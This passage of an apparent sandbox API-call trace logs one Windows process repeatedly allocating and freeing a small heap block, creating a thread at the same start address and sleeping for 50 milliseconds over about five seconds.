lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0079.737] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0079.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde0 [0079.738] Sleep (dwMilliseconds=0x32) [0079.831] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0079.832] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0079.832] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0079.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe00 [0079.832] Sleep (dwMilliseconds=0x32) [0079.924] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0079.924] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0079.925] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0079.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe20 [0079.925] Sleep (dwMilliseconds=0x32) [0080.018] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0080.018] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0080.018] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0080.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe40 [0080.019] Sleep (dwMilliseconds=0x32) [0080.129] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0080.129] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0080.129] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0080.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe54 [0080.130] Sleep (dwMilliseconds=0x32) [0080.225] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0080.225] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0080.225] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0080.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe74 [0080.226] Sleep (dwMilliseconds=0x32) [0080.315] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0080.315] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0080.315] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0080.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe94 [0080.316] Sleep (dwMilliseconds=0x32) [0080.408] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0080.408] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0080.408] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0080.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb4 [0080.409] Sleep (dwMilliseconds=0x32) [0080.502] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0080.502] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0080.502] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0080.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed4 [0080.503] Sleep (dwMilliseconds=0x32) [0080.595] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0080.595] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0080.596] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0080.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef4 [0080.596] Sleep (dwMilliseconds=0x32) [0080.689] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0080.689] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0080.689] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0080.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf14 [0080.690] Sleep (dwMilliseconds=0x32) [0080.798] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0080.798] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0080.798] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0080.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf34 [0080.799] Sleep (dwMilliseconds=0x32) [0080.890] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0080.890] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0080.890] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0080.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf50 [0080.891] Sleep (dwMilliseconds=0x32) [0080.985] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0080.985] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0080.985] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0080.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf7c [0080.986] Sleep (dwMilliseconds=0x32) [0081.095] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0081.095] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0081.095] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0081.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf9c [0081.095] Sleep (dwMilliseconds=0x32) [0081.191] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0081.191] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0081.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0081.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfbc [0081.191] Sleep (dwMilliseconds=0x32) [0081.281] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0081.281] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0081.281] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0081.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfdc [0081.282] Sleep (dwMilliseconds=0x32) [0081.374] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0081.374] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0081.374] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0081.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xffc [0081.375] Sleep (dwMilliseconds=0x32) [0081.468] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0081.468] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0081.468] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0081.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1020 [0081.469] Sleep (dwMilliseconds=0x32) [0081.562] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0081.562] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0081.562] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0081.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1040 [0081.563] Sleep (dwMilliseconds=0x32) [0081.656] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0081.656] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0081.656] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0081.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1060 [0081.657] Sleep (dwMilliseconds=0x32) [0081.759] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0081.759] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0081.759] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0081.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1080 [0081.760] Sleep (dwMilliseconds=0x32) [0081.850] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0081.850] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0081.850] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0081.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a0 [0081.851] Sleep (dwMilliseconds=0x32) [0081.936] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0081.936] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0081.937] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0081.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c0 [0081.937] Sleep (dwMilliseconds=0x32) [0082.030] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0082.030] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0082.030] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0082.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e0 [0082.031] Sleep (dwMilliseconds=0x32) [0082.097] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0082.097] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0082.097] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0082.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1100 [0082.098] Sleep (dwMilliseconds=0x32) [0082.186] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0082.186] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0082.186] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0082.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1120 [0082.187] Sleep (dwMilliseconds=0x32) [0082.279] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0082.279] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0082.279] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0082.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1140 [0082.280] Sleep (dwMilliseconds=0x32) [0082.373] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0082.373] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0082.373] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0082.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1160 [0082.374] Sleep (dwMilliseconds=0x32) [0082.466] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0082.466] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0082.466] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0082.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1180 [0082.467] Sleep (dwMilliseconds=0x32) [0082.560] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0082.560] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0082.560] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0082.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a0 [0082.561] Sleep (dwMilliseconds=0x32) [0082.655] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0082.655] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0082.655] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0082.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c0 [0082.656] Sleep (dwMilliseconds=0x32) [0082.758] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0082.758] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0082.758] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0082.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e0 [0082.759] Sleep (dwMilliseconds=0x32) [0082.841] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0082.841] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0082.841] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0082.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1200 [0082.842] Sleep (dwMilliseconds=0x32) [0082.935] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0082.935] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0082.935] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0082.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1220 [0082.936] Sleep (dwMilliseconds=0x32) [0083.028] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0083.028] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0083.028] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0083.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1240 [0083.029] Sleep (dwMilliseconds=0x32) [0083.122] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0083.122] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0083.122] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0083.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1260 [0083.123] Sleep (dwMilliseconds=0x32) [0083.215] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0083.215] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0083.215] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0083.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1280 [0083.216] Sleep (dwMilliseconds=0x32) [0083.309] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0083.309] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0083.309] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0083.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a0 [0083.310] Sleep (dwMilliseconds=0x32) [0083.402] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0083.402] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0083.402] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0083.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c0 [0083.403] Sleep (dwMilliseconds=0x32) [0083.497] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0083.497] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0083.497] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0083.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e0 [0083.497] Sleep (dwMilliseconds=0x32) [0083.590] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0083.590] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0083.590] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0083.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1300 [0083.591] Sleep (dwMilliseconds=0x32) [0083.683] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0083.683] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0083.683] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0083.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1320 [0083.684] Sleep (dwMilliseconds=0x32) [0083.793] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0083.793] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0083.793] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0083.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1340 [0083.794] Sleep (dwMilliseconds=0x32) [0083.886] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0083.886] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0083.886] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0083.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1360 [0083.887] Sleep (dwMilliseconds=0x32) [0083.980] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0083.980] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0083.980] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0083.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1380 [0083.980] Sleep (dwMilliseconds=0x32) [0084.089] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0084.089] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0084.089] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0084.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a0 [0084.090] Sleep (dwMilliseconds=0x32) [0084.183] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0084.183] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0084.183] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0084.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c0 [0084.184] Sleep (dwMilliseconds=0x32) [0084.276] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0084.276] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0084.276] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0084.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e0 [0084.277] Sleep (dwMilliseconds=0x32) [0084.370] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0084.370] HeapFree (in: hHeap=0x230000, 